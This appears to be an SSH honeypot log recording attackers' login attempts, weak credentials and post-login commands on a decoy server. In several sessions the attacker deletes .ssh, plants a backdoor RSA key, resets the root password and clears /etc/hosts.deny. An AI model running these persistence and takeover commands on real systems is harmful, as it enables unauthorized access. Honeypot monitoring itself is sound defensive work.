  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

115.190.229.67

2026-10-16 22:30:31.235079 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 123qweqwe!

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: fdd38d4c369a

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 8.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "fdd38d4c369a",
  "src_ip": "115.190.229.67",
  "start_time": "2026-10-16T22:30:31.235079Z",
  "end_time": "2026-10-16T22:30:39.384633Z",
  "duration": "8.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "123qweqwe!"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

205.210.31.39

2026-10-16 22:29:12.878385 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2185bb1eb2b5

Client Version: SSH-2.0-ZGrab ZGrab SSH Survey

Engagement Duration: 2.4s

HASSH Fingerprint: dd9bcf093c355da7000132131cb36fd0

{
  "id": "2185bb1eb2b5",
  "src_ip": "205.210.31.39",
  "start_time": "2026-10-16T22:29:12.878385Z",
  "end_time": "2026-10-16T22:29:15.293611Z",
  "duration": "2.4",
  "version": "SSH-2.0-ZGrab ZGrab SSH Survey",
  "hassh": "dd9bcf093c355da7000132131cb36fd0",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

101.96.202.144

2026-10-16 22:28:57.412545 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 192161b398e8

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "192161b398e8",
  "src_ip": "101.96.202.144",
  "start_time": "2026-10-16T22:28:57.412545Z",
  "end_time": "2026-10-16T22:30:57.425499Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

101.96.202.144

2026-10-16 22:26:54.598821 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4b112136f626

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "4b112136f626",
  "src_ip": "101.96.202.144",
  "start_time": "2026-10-16T22:26:54.598821Z",
  "end_time": "2026-10-16T22:28:54.643841Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

46.101.39.48

2026-10-16 22:26:14.625479 UTC

SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: user / 1

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: 52c8264f19d2

Client Version: SSH-2.0-Go

Engagement Duration: 1.1s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "52c8264f19d2",
  "src_ip": "46.101.39.48",
  "start_time": "2026-10-16T22:26:14.625479Z",
  "end_time": "2026-10-16T22:26:15.743422Z",
  "duration": "1.1",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "1"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}

101.96.202.144

2026-10-16 22:25:05.460640 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9a7a68eeb5bb

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "9a7a68eeb5bb",
  "src_ip": "101.96.202.144",
  "start_time": "2026-10-16T22:25:05.460640Z",
  "end_time": "2026-10-16T22:27:05.468606Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

101.96.202.144

2026-10-16 22:25:02.104583 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: ffd62808afff

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "ffd62808afff",
  "src_ip": "101.96.202.144",
  "start_time": "2026-10-16T22:25:02.104583Z",
  "end_time": "2026-10-16T22:25:05.280095Z",
  "duration": "3.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

101.96.202.144

2026-10-16 22:24:58.647373 UTC

SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 340

Credential acceptance event recorded. Target authentication: root / Qwert@123

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l

[obs-node]:~$ echo "root:QOqfWHJfiiKx"|chpasswd|bash

[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

[obs-node]:~$ ls -lh $(which ls)

[obs-node]:~$ which ls

[obs-node]:~$ crontab -l

[obs-node]:~$ w

[obs-node]:~$ uname -m

[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l

[obs-node]:~$ top

[obs-node]:~$ uname

[obs-node]:~$ uname -a

[obs-node]:~$ whoami

[obs-node]:~$ lscpu | grep Model

[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

Record ID: 0fff11c13032

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 24.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "0fff11c13032",
  "src_ip": "101.96.202.144",
  "start_time": "2026-10-16T22:24:58.647373Z",
  "end_time": "2026-10-16T22:25:22.840816Z",
  "duration": "24.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Qwert@123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:QOqfWHJfiiKx\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:QOqfWHJfiiKx\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 340,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}

46.101.39.48

2026-10-16 22:23:28.567503 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8027b9afe52b

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "8027b9afe52b",
  "src_ip": "46.101.39.48",
  "start_time": "2026-10-16T22:23:28.567503Z",
  "end_time": "2026-10-16T22:23:28.706043Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

101.96.202.144

2026-10-16 22:23:01.435991 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ad7f2f930249

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "ad7f2f930249",
  "src_ip": "101.96.202.144",
  "start_time": "2026-10-16T22:23:01.435991Z",
  "end_time": "2026-10-16T22:25:01.440356Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

101.96.202.144

2026-10-16 22:21:15.106591 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 8a7c850c12fc

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "8a7c850c12fc",
  "src_ip": "101.96.202.144",
  "start_time": "2026-10-16T22:21:15.106591Z",
  "end_time": "2026-10-16T22:21:16.330785Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

101.96.202.144

2026-10-16 22:21:12.756445 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 5535d6c888c5

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "5535d6c888c5",
  "src_ip": "101.96.202.144",
  "start_time": "2026-10-16T22:21:12.756445Z",
  "end_time": "2026-10-16T22:21:14.899492Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

101.96.202.144

2026-10-16 22:21:10.383398 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / qwe123123

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: c1f996a652de

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "c1f996a652de",
  "src_ip": "101.96.202.144",
  "start_time": "2026-10-16T22:21:10.383398Z",
  "end_time": "2026-10-16T22:21:16.316171Z",
  "duration": "5.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "qwe123123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

101.96.202.144

2026-10-16 22:19:15.107810 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 34d4ca48b659

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "34d4ca48b659",
  "src_ip": "101.96.202.144",
  "start_time": "2026-10-16T22:19:15.107810Z",
  "end_time": "2026-10-16T22:21:15.112114Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

176.53.159.196

2026-10-16 22:18:44.012584 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: d7ce505dd34a

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "d7ce505dd34a",
  "src_ip": "176.53.159.196",
  "start_time": "2026-10-16T22:18:44.012584Z",
  "end_time": "2026-10-16T22:18:45.182947Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

101.96.202.144

2026-10-16 22:17:15.001596 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b2aede29b8be

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "b2aede29b8be",
  "src_ip": "101.96.202.144",
  "start_time": "2026-10-16T22:17:15.001596Z",
  "end_time": "2026-10-16T22:19:15.036653Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

101.96.202.144

2026-10-16 22:15:17.269352 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 752b5f82e6b2

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "752b5f82e6b2",
  "src_ip": "101.96.202.144",
  "start_time": "2026-10-16T22:15:17.269352Z",
  "end_time": "2026-10-16T22:17:17.276497Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

101.96.202.144

2026-10-16 22:13:20.630311 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sigit

Record ID: 9746c591c921

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "9746c591c921",
  "src_ip": "101.96.202.144",
  "start_time": "2026-10-16T22:13:20.630311Z",
  "end_time": "2026-10-16T22:13:23.797805Z",
  "duration": "3.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "sigit",
      "pass": "sigit"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

101.96.202.144

2026-10-16 22:11:27.521427 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0191ce99399e

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "0191ce99399e",
  "src_ip": "101.96.202.144",
  "start_time": "2026-10-16T22:11:27.521427Z",
  "end_time": "2026-10-16T22:13:27.530161Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

101.96.202.144

2026-10-16 22:09:31.556662 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b3adca8a5d01

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "b3adca8a5d01",
  "src_ip": "101.96.202.144",
  "start_time": "2026-10-16T22:09:31.556662Z",
  "end_time": "2026-10-16T22:11:31.562561Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

178.62.29.235

2026-10-16 22:08:30.014563 UTC

SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: ubuntu / ubuntu

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m

Record ID: 49b6af428bc2

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "49b6af428bc2",
  "src_ip": "178.62.29.235",
  "start_time": "2026-10-16T22:08:30.014563Z",
  "end_time": "2026-10-16T22:08:31.259294Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "ubuntu"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}

116.63.143.220

2026-10-16 22:07:56.898970 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f9642bc9cba4

Client Version: SSH-2.0-libssh2_1.11.1

Engagement Duration: 2m 0s

{
  "id": "f9642bc9cba4",
  "src_ip": "116.63.143.220",
  "start_time": "2026-10-16T22:07:56.898970Z",
  "end_time": "2026-10-16T22:09:56.908630Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh2_1.11.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}